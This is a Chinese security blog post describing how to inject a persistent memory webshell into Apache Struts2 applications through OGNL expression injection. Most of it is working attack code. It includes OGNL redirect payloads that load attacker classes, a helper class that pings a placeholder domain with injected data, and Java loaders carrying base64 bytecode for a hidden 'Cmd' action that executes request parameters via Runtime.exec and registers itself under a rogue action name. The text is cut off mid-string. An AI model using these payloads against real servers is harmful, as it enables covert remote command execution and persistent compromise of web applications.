步履维艰之Struts2内存马
2023-3-1 21:3:15 Author: only security(查看原文) 阅读量:7 收藏

本文首发于先知社区  https://xz.aliyun.com/t/12237

0x01 背景

之前写过一篇关于Struts2绕过的文章,当时就想过怎么去注入内存马,不然加载恶意类去执行命令,也挺烦的,再加上一直都没有看到过struts2内存马注入的工具、文章,奈何当时太菜,没有继续深入;前几天被mc提醒了一下,说是看到过Struts2内存马的一篇文章(放到文末了),去看了一下,又勾起了对struts2内存马的研究欲望;

0x02 代码注入内存马成功

在action直接执行命令,是可以直接注入内存马

struts.xml如下

当访问login111的test2函数,注入内存马

执行命令

0x03 ognl注入内存马失败

0x001 ognl注入失败的问题

这里想通过ognl表达式去注入内存马,发现不行,原因如下:

  • 如果把函数全部放到恶意类class里面,会找不到ActionContext.class,从而报错
  • 如果打算把函数全部放到ognl表达式里面,会发现在进行Thread创建对象的时候无法创建

当尝试使用ognl表达式一直赋值到obj5,再通过恶意类加载剩余的函数时,发现注入不了内存马,原因还是在于Classloader的问题,找不到相应的class,一直到这里,也不是没有收获的

发现了一个有点用的东西,可能可以进行自定义命令运行,如下:

这里payload含义是加载了hello.class,传入了cccc这个参数

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.net.URL[]{new java.net.URL("file:/xxxx/xxxxx")},#cc0=new java.net.URLClassLoader(#bb0),#cc1=#cc0.loadClass("hello"),#ot.print(#cc1.getDeclaredMethods()[0].invoke("main",new java.lang.String[]{"a"},"cccc")),#ot.flush(),#ot.close()}

hello.class如下

import java.lang.Runtime;  
import java.lang.Process;  
  
public class hello1 {  
    public hello1(String a) {  
        try {  
            String[] commands = { "ping","-c","1" ,a + "123412.xxxx.xxxxx.cn" };  
            Process pc = Runtime.getRuntime().exec(commands);  
        } catch (Exception e) {  
        }    }  
    public static void main(String[] args, String a) {  
        hello1 aa = new hello1(a);  
    }  
}

可以自定义对域名进行请求,那么可以扩展成为shell去执行任意命令,而不需要去更改class

0x002 问题1

接着说问题1,如果找不到ActionContext.class

贴上当时问的很傻的问题(classloader不同,当然不能这么放类)

那么我直接通过ClassLoader.defineClass去加载这个类呢

//import org.apache.catalina.loader.WebappClassLoaderBase;  
//import org.apache.struts2.ServletActionContext;  
  
import java.io.FileWriter;  
import java.io.IOException;  
import java.lang.reflect.InvocationTargetException;  
import java.net.URL;  
import java.net.URLClassLoader;  
import java.security.SecureClassLoader;  
import java.util.Arrays;  
import java.util.LinkedHashMap;  
  
  
import com.opensymphony.xwork2.config.entities.ActionConfig;  
import com.opensymphony.xwork2.util.location.Located;  
import java.net.URLClassLoader;  
  
/**  
 * @DESCRIPTION:  
 * @USER: f0ng  
 * @DATE: 2023/2/23 下午3:44  
 */
public class hello {  
    public hello(java.util.LinkedHashMap obj5) throws Exception {  
        try {  
                String s = "yv66vgAAADQApAoAIQBFCgBGAEcHAEgIAEkKAEYASgcASwgATAcATQsACABOBwBPCgBQAFEIAFILAAYAUwoAUABUCgBVAFYKAAoAVwgAWAoACgBZCgAKAFoKAFsAXAoAWwBdCgBeAF8HAGAKAGEAYgoAXgBjCgBkAGUJAGYAZwoAaABpCgBqAGsKADoAbAoAbQBuCgBqAFwHAG8BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFUxjb20vZGVtby9hY3Rpb24vQ21kOwEAB2V4ZWN1dGUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAApFeGNlcHRpb25zBwBwAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABHBvb2wBABVMamF2YXNzaXN0L0NsYXNzUG9vbDsBAAVjbGF6egEAE0xqYXZhc3Npc3QvQ3RDbGFzczsBAAdlbmNvZGVyBwBxAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAGkxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQABcwEAEkxqYXZhL2xhbmcvU3RyaW5nOwcAcgcAcwcAdAEAClNvdXJjZUZpbGUBAAhDbWQuamF2YQwAIgAjBwB1DAB2AHcBACBvcmcvYXBhY2hlL3N0cnV0czIvU3RydXRzU3RhdGljcwEANWNvbS5vcGVuc3ltcGhvbnkueHdvcmsyLmRpc3BhdGNoZXIuSHR0cFNlcnZsZXRSZXF1ZXN0DAB4AHkBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQA2Y29tLm9wZW5zeW1waG9ueS54d29yazIuZGlzcGF0Y2hlci5IdHRwU2VydmxldFJlc3BvbnNlAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UMAHoAewEAEWphdmEvdXRpbC9TY2FubmVyBwB8DAB9AH4BAAFjDAB/AIAMAIEAggcAgwwAhACFDAAiAIYBAAJcQQwAhwCIDACJACoHAIoMAIsAjAwAjQAjBwCODACPAJABABNjb20vZGVtby9hY3Rpb24vQ21kBwCRDACSACoMAHgAkwcAlAwAlQCWBwCXDACYAJkHAJoMAJsAnAcAnQwAiwCeDACfAKAHAKEMAKIAowEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAYamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyAQAbamF2YXNzaXN0L05vdEZvdW5kRXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAIGphdmFzc2lzdC9DYW5ub3RDb21waWxlRXhjZXB0aW9uAQAlY29tL29wZW5zeW1waG9ueS94d29yazIvQWN0aW9uQ29udGV4dAEACmdldENvbnRleHQBACkoKUxjb20vb3BlbnN5bXBob255L3h3b3JrMi9BY3Rpb25Db250ZXh0OwEAA2dldAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVmbHVzaAEAE2phdmFzc2lzdC9DbGFzc1Bvb2wBAApnZXREZWZhdWx0AQAXKClMamF2YXNzaXN0L0NsYXNzUG9vbDsBAA9qYXZhL2xhbmcvQ2xhc3MBAAdnZXROYW1lAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXNzaXN0L0N0Q2xhc3M7AQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAEWphdmFzc2lzdC9DdENsYXNzAQAKdG9CeXRlY29kZQEABCgpW0IBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAEKEkpVgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TdHJpbmcBAAZsZW5ndGgBAAMoKUkAIQAXACEAAAAAAAMAAQAiACMAAQAkAAAALwABAAEAAAAFKrcAAbEAAAACACUAAAAGAAEAAAAQACYAAAAMAAEAAAAFACcAKAAAAAEAKQAqAAIAJAAAAJoABgADAAAATLgAAhIEtgAFwAAGTLgAAhIHtgAFwAAITSy5AAkBALsAClm4AAsrEgy5AA0CALYADrYAD7cAEBIRtgAStgATtgAULLkACQEAtgAVAbAAAAACACUAAAAWAAUAAAATAAwAFAAYABYAQQAXAEoAGAAmAAAAIAADAAAATAAnACgAAAAMAEAAKwAsAAEAGAA0AC0ALgACAC8AAAAEAAEAMAAJADEAMgACACQAAACpAAIABQAAADu4ABZMKxIXtgAYtgAZTbgAGk6yABsstgAcvrYAHS0stgActgAeOgSyABsZBLYAH7YAHbIAGxkEtgAgsQAAAAIAJQAAACIACAAAAB0ABAAfAA4AIQASACMAHQAkACcAJQAyACYAOgAnACYAAAA0AAUAAAA7ADMANAAAAAQANwA1ADYAAQAOAC0ANwA4AAIAEgApADkAPQADACcAFAA+AD8ABAAvAAAACAADAEAAQQBCAAIAQwAAAAIARAA8AAAACgABADoAZAA7AAk=";  
                URLClassLoader loader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());  
                byte[] decode = java.util.Base64.getDecoder().decode(s);  
                java.lang.reflect.Method var47 = ClassLoader.class.getDeclaredMethod("defineClass", String.classbyte[].classInteger.TYPEInteger.TYPE);  
                var47.setAccessible(true);  
  
                var47.invoke(loader, "com.demo.action.Cmd", decode, Integer.valueOf("0"), decode.length);  
  
                String s2 = "yv66vgAAADEAtAkAHAB4CgAsAHkJABwAegkAHAB7CQAcAHwHAH0KAAYAeQkAHAB+CQAcAH8HAIAKAAoAeQkAHACBCQAcAIIHAIMKAA4AeQkAHACECQAcAIUKAAYAhgoACgCHCgAOAIcLAIgAiQgAigsAiACLCwCMAI0KAI4AjwgAkAsAiACRBwCSCgCTAI8KAJMAlAoAjgCUBwCVCgAgAHkIAJYKACAAlwgAmAgAmQgAmggAmwgAnAoAIACdCACeCgAgAJ8HAKAHAKEHAKIBAAdCdWlsZGVyAQAMSW5uZXJDbGFzc2VzAQAOREVGQVVMVF9NRVRIT0QBABJMamF2YS9sYW5nL1N0cmluZzsBAA1Db25zdGFudFZhbHVlAQAIV0lMRENBUkQBAAxpbnRlcmNlcHRvcnMBABBMamF2YS91dGlsL0xpc3Q7AQAJU2lnbmF0dXJlAQBOTGphdmEvdXRpbC9MaXN0PExjb20vb3BlbnN5bXBob255L3h3b3JrMi9jb25maWcvZW50aXRpZXMvSW50ZXJjZXB0b3JNYXBwaW5nOz47AQAGcGFyYW1zAQAPTGphdmEvdXRpbC9NYXA7AQA1TGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7PjsBAAdyZXN1bHRzAQBZTGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGNvbS9vcGVuc3ltcGhvbnkveHdvcmsyL2NvbmZpZy9lbnRpdGllcy9SZXN1bHRDb25maWc7PjsBABFleGNlcHRpb25NYXBwaW5ncwEAUkxqYXZhL3V0aWwvTGlzdDxMY29tL29wZW5zeW1waG9ueS94d29yazIvY29uZmlnL2VudGl0aWVzL0V4Y2VwdGlvbk1hcHBpbmdDb25maWc7PjsBAAljbGFzc05hbWUBAAptZXRob2ROYW1lAQALcGFja2FnZU5hbWUBAARuYW1lAQAOYWxsb3dlZE1ldGhvZHMBAA9MamF2YS91dGlsL1NldDsBACNMamF2YS91dGlsL1NldDxMamF2YS9sYW5nL1N0cmluZzs+OwEABjxpbml0PgEAOShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA2TGNvbS9vcGVuc3ltcGhvbnkveHdvcmsyL2NvbmZpZy9lbnRpdGllcy9BY3Rpb25Db25maWc7AQA5KExjb20vb3BlbnN5bXBob255L3h3b3JrMi9jb25maWcvZW50aXRpZXMvQWN0aW9uQ29uZmlnOylWAQAEb3JpZwEAB2dldE5hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEADGdldENsYXNzTmFtZQEAFGdldEV4Y2VwdGlvbk1hcHBpbmdzAQASKClMamF2YS91dGlsL0xpc3Q7AQBUKClMamF2YS91dGlsL0xpc3Q8TGNvbS9vcGVuc3ltcGhvbnkveHdvcmsyL2NvbmZpZy9lbnRpdGllcy9FeGNlcHRpb25NYXBwaW5nQ29uZmlnOz47AQAPZ2V0SW50ZXJjZXB0b3JzAQBQKClMamF2YS91dGlsL0xpc3Q8TGNvbS9vcGVuc3ltcGhvbnkveHdvcmsyL2NvbmZpZy9lbnRpdGllcy9JbnRlcmNlcHRvck1hcHBpbmc7PjsBABFnZXRBbGxvd2VkTWV0aG9kcwEAESgpTGphdmEvdXRpbC9TZXQ7AQAlKClMamF2YS91dGlsL1NldDxMamF2YS9sYW5nL1N0cmluZzs+OwEADWdldE1ldGhvZE5hbWUBAA5nZXRQYWNrYWdlTmFtZQEACWdldFBhcmFtcwEAESgpTGphdmEvdXRpbC9NYXA7AQA3KClMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzs+OwEACmdldFJlc3VsdHMBAFsoKUxqYXZhL3V0aWwvTWFwPExqYXZhL2xhbmcvU3RyaW5nO0xjb20vb3BlbnN5bXBob255L3h3b3JrMi9jb25maWcvZW50aXRpZXMvUmVzdWx0Q29uZmlnOz47AQAPaXNBbGxvd2VkTWV0aG9kAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAGbWV0aG9kAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQABbwEAEkxqYXZhL2xhbmcvT2JqZWN0OwEADGFjdGlvbkNvbmZpZwEACGhhc2hDb2RlAQADKClJAQAGcmVzdWx0AQABSQEACHRvU3RyaW5nAQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAKYWNjZXNzJDAwMgEAmChMY29tL29wZW5zeW1waG9ueS94d29yazIvY29uZmlnL2VudGl0aWVzL0FjdGlvbkNvbmZpZztMY29tL29wZW5zeW1waG9ueS94d29yazIvdXRpbC9sb2NhdGlvbi9Mb2NhdGlvbjspTGNvbS9vcGVuc3ltcGhvbnkveHdvcmsyL3V0aWwvbG9jYXRpb24vTG9jYXRpb247AQACeDABAAJ4MQEAMExjb20vb3BlbnN5bXBob255L3h3b3JrMi91dGlsL2xvY2F0aW9uL0xvY2F0aW9uOwEAClNvdXJjZUZpbGUBABFBY3Rpb25Db25maWcuamF2YQwAowB1DABHAKQMAEIAMgwAQwAyDABAADIBABdqYXZhL3V0aWwvTGlua2VkSGFzaE1hcAwAOQA6DAA8ADoBABNqYXZhL3V0aWwvQXJyYXlMaXN0DAA1ADYMAD4ANgEAEWphdmEvdXRpbC9IYXNoU2V0DABEAEUMAEEAMgwARwClDABHAKYHAKcMAKgAawEAASoMAKkAqgcAqwwArACtBwCuDABlAGYBAAdleGVjdXRlDACvAGYBADRjb20vb3BlbnN5bXBob255L3h3b3JrMi9jb25maWcvZW50aXRpZXMvQWN0aW9uQ29uZmlnBwCwDABqAGsBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEADntBY3Rpb25Db25maWcgDACxALIBAAIgKAEAAS4BAAIoKQEAASkBAAMgLSAMALEAswEAAX0MAG4AUQEALWNvbS9vcGVuc3ltcGhvbnkveHdvcmsyL3V0aWwvbG9jYXRpb24vTG9jYXRlZAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA8Y29tL29wZW5zeW1waG9ueS94d29yazIvY29uZmlnL2VudGl0aWVzL0FjdGlvbkNvbmZpZyRCdWlsZGVyAQAIbG9jYXRpb24BAAMoKVYBABIoTGphdmEvdXRpbC9NYXA7KVYBABkoTGphdmEvdXRpbC9Db2xsZWN0aW9uOylWAQANamF2YS91dGlsL1NldAEABHNpemUBAAhpdGVyYXRvcgEAFigpTGph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AAostAAQxgAFA6wErAAAAAIASgAAAFIAFAAAAJEABQCSAAcAlQAOAJYAEACZABUAmwA0AJwANgCfAFUAoABXAKMAdgClAHgAqACXAKkAmQCsALgArQC6ALAA2QCxANsAtAD6ALUA/AC4AEsAAAAgAAMAAAD+AEwATQAAAAAA/gBnAGgAAQAVAOkAaQBNAAIAAQBqAGsAAQBJAAABLQACAAIAAADVKrQADMYADSq0AAy2AB6nAAQDPBAfG2gqtAAIxgANKrQACLYAHqcABANgPBAfG2gqtAAJxgANKrQACbYAHqcABANgPBAfG2gqtAANxgANKrQADbYAHqcABANgPBAfG2gqtAAFxgANKrQABbYAH6cABANgPBAfG2gqtAARxgANKrQAEbYAH6cABANgPBAfG2gqtAADxgANKrQAA7YAH6cABANgPBAfG2gqtAAExgANKrQABLYAH6cABANgPBAfG2gqtAAQxgANKrQAELYAHqcABANgPBusAAAAAgBKAAAAKgAKAAAAvQATAL4AKwC/AEMAwABbAMEAcwDCAIsAwwCjAMQAuwDFANMAxgBLAAAAFgACAAAA1QBMAE0AAAATAMIAbABtAAEAAQBuAFEAAQBJAAAAuQACAAIAAABhuwAgWbcAIUwrEiK2ACNXKyq0AAS2ACMSJLYAI1crKrQABbYAI1cqtAARxgAWKxIltgAjKrQAEbYAIxImtgAjVysSJ7YAI1crEii2ACMqtAABtgApVysSKrYAI1crtgArsAAAAAIASgAAACoACgAAAMoACADLAA8AzAAdAM0AJgDOAC0AzwBAANEARwDSAFUA0wBcANQASwAAABYAAgAAAGEATABNAAAACABZAG8AcAABEAgAcQByAAEASQAAADsAAwACAAAAByorWrUAAbAAAAACAEoAAAAGAAEAAAAxAEsAAAAWAAIAAAAHAHMATQAAAAAABwB0AHUAAQACAHYAAAACAHcAMAAAAAoAAQAuABwALwAJ";  
            java.security.SecureClassLoader loader2 = (SecureClassLoader) this.getClass().getClassLoader();  
            
                byte[] decode2 = java.util.Base64.getDecoder().decode(s2);  
                java.lang.reflect.Method var472 = ClassLoader.class.getDeclaredMethod("defineClass", String.classbyte[].classInteger.TYPEInteger.TYPE);  
                var472.setAccessible(true);  
  
            try {  
                Class var482 =  (Class)var472.invoke(loader2, "com.opensymphony.xwork2.config.entities.ActionConfig", decode2, Integer.valueOf("0"), decode2.length);  
                
                java.lang.reflect.Constructor<?> constructor = var482.getDeclaredConstructor(new Class[]{String.classString.classString.class});  
                constructor.setAccessible(true);  
  
                java.util.LinkedHashMap o1 = (LinkedHashMap) obj5.get("/");  
                o1.put("onlysecurity", constructor.newInstance("f0ng""onlysecurity""com.demo.action.Cmd"));  
  
            }catch (Exception e2){  
            }  
  
        }catch (Exception e){  
        }  
    }  
    public static void main(String[] args,java.util.LinkedHashMap obj5) throws Exception {  
        hello aa = new hello(obj5);  
    }  
}

payload如下:

redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#inv=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.ActionContext.a'+'ctionInvocation'),#f2=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.ActionContext.a'+'ctionInvocation').getClass().getDeclaredField("proxy"),#f2.setAccessible(true),#obj=#f2.get(#inv),#f3=#obj.getClass().getSuperclass().getDeclaredField("configuration"),#f3.setAccessible(true),#obj2=#f3.get(#obj),#f4=#obj2.getClass().getDeclaredField("runtimeConfiguration"),#f4.setAccessible(true),#obj3=#f4.get(#obj2),#f5=#obj3.getClass().getDeclaredField("namespaceActionConfigs"),#f5.setAccessible(true),#obj4=#f5.get(#obj3),#f6=#obj4.getClass().getDeclaredField("m"),#f6.setAccessible(true),#obj5=#f6.get(#obj4),#bb0=new java.net.URL[]{new java.net.URL("file:/xxxxx/xxxxx/")},#cc0=new java.net.URLClassLoader(#bb0),#cc1=#cc0.loadClass("hello"),#cc1.getDeclaredMethods()[0].invoke("main",new java.lang.String[]{"a"},#obj5),#ot.println(ClassLoader.getSystemClassLoader()),#ot.flush(),#ot.close()}

进度条是又进了一步,但是出现了一个很诡异的问题

类名一样,还不能强转?amazing!

茅塞顿开!

0x02 问题2

还是classloader的问题,那么就去翻阅struts2的文档了,去找一些可能可以获取到classloader的地方,如下:

application对象:用于访问ServletContext,例如#application.userName或者#application['userName'],相当于调用ServletContext的getAttribute("username")。

session对象:用来访问HttpSession,例如#session.userName或者#session['userName'],相当于调用session.getAttribute("userName")。

request对象:用来访问HttpServletRequest属性(attribute)的Map,例如#request.userName或者#request['userName'],相当于调用request.getAttribute("userName")。

parameters对象:用于访问HTTP的请求参数,例如#parameters.userName或者#parameters['userName'],相当于调用request.getParameter("username")。

attr对象:用于按page->request->session->application顺序访问其属性。

不清楚的话,就直接通过ognl表达式去打印出来

其实这里还有个相当于隐藏的参数,#this,当前类

这里也就是重点,通过#this.class.getClassLoader()去获取类加载器,不放心,打印一下

仿佛在哪里看到过,回过头去action注入的时候debug一下

bingo,完全是一模一样,这就相当于成功了

0x04 ognl注入内存马

给出hello.java文件 hello.java


import java.util.LinkedHashMap;

/**
 * @DESCRIPTION:
 * @USER: f0ng
 * @DATE: 2023/2/23 下午3:44
 */
public class hello {
    public hello( java.util.Map obj5) throws Exception {
        try {

            String s = "yv66vgAAADQApAoAIQBFCgBGAEcHAEgIAEkKAEYASgcASwgATAcATQsACABOBwBPCgBQAFEIAFILAAYAUwoAUABUCgBVAFYKAAoAVwgAWAoACgBZCgAKAFoKAFsAXAoAWwBdCgBeAF8HAGAKAGEAYgoAXgBjCgBkAGUJAGYAZwoAaABpCgBqAGsKADoAbAoAbQBuCgBqAFwHAG8BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAFUxjb20vZGVtby9hY3Rpb24vQ21kOwEAB2V4ZWN1dGUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAApFeGNlcHRpb25zBwBwAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABHBvb2wBABVMamF2YXNzaXN0L0NsYXNzUG9vbDsBAAVjbGF6egEAE0xqYXZhc3Npc3QvQ3RDbGFzczsBAAdlbmNvZGVyBwBxAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAGkxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQABcwEAEkxqYXZhL2xhbmcvU3RyaW5nOwcAcgcAcwcAdAEAClNvdXJjZUZpbGUBAAhDbWQuamF2YQwAIgAjBwB1DAB2AHcBACBvcmcvYXBhY2hlL3N0cnV0czIvU3RydXRzU3RhdGljcwEANWNvbS5vcGVuc3ltcGhvbnkueHdvcmsyLmRpc3BhdGNoZXIuSHR0cFNlcnZsZXRSZXF1ZXN0DAB4AHkBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQA2Y29tLm9wZW5zeW1waG9ueS54d29yazIuZGlzcGF0Y2hlci5IdHRwU2VydmxldFJlc3BvbnNlAQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UMAHoAewEAEWphdmEvdXRpbC9TY2FubmVyBwB8DAB9AH4BAAFjDAB/AIAMAIEAggcAgwwAhACFDAAiAIYBAAJcQQwAhwCIDACJACoHAIoMAIsAjAwAjQAjBwCODACPAJABABNjb20vZGVtby9hY3Rpb24vQ21kBwCRDACSACoMAHgAkwcAlAwAlQCWBwCXDACYAJkHAJoMAJsAnAcAnQwAiwCeDACfAKAHAKEMAKIAowEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAYamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyAQAbamF2YXNzaXN0L05vdEZvdW5kRXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAIGphdmFzc2lzdC9DYW5ub3RDb21waWxlRXhjZXB0aW9uAQAlY29tL29wZW5zeW1waG9ueS94d29yazIvQWN0aW9uQ29udGV4dAEACmdldENvbnRleHQBACkoKUxjb20vb3BlbnN5bXBob255L3h3b3JrMi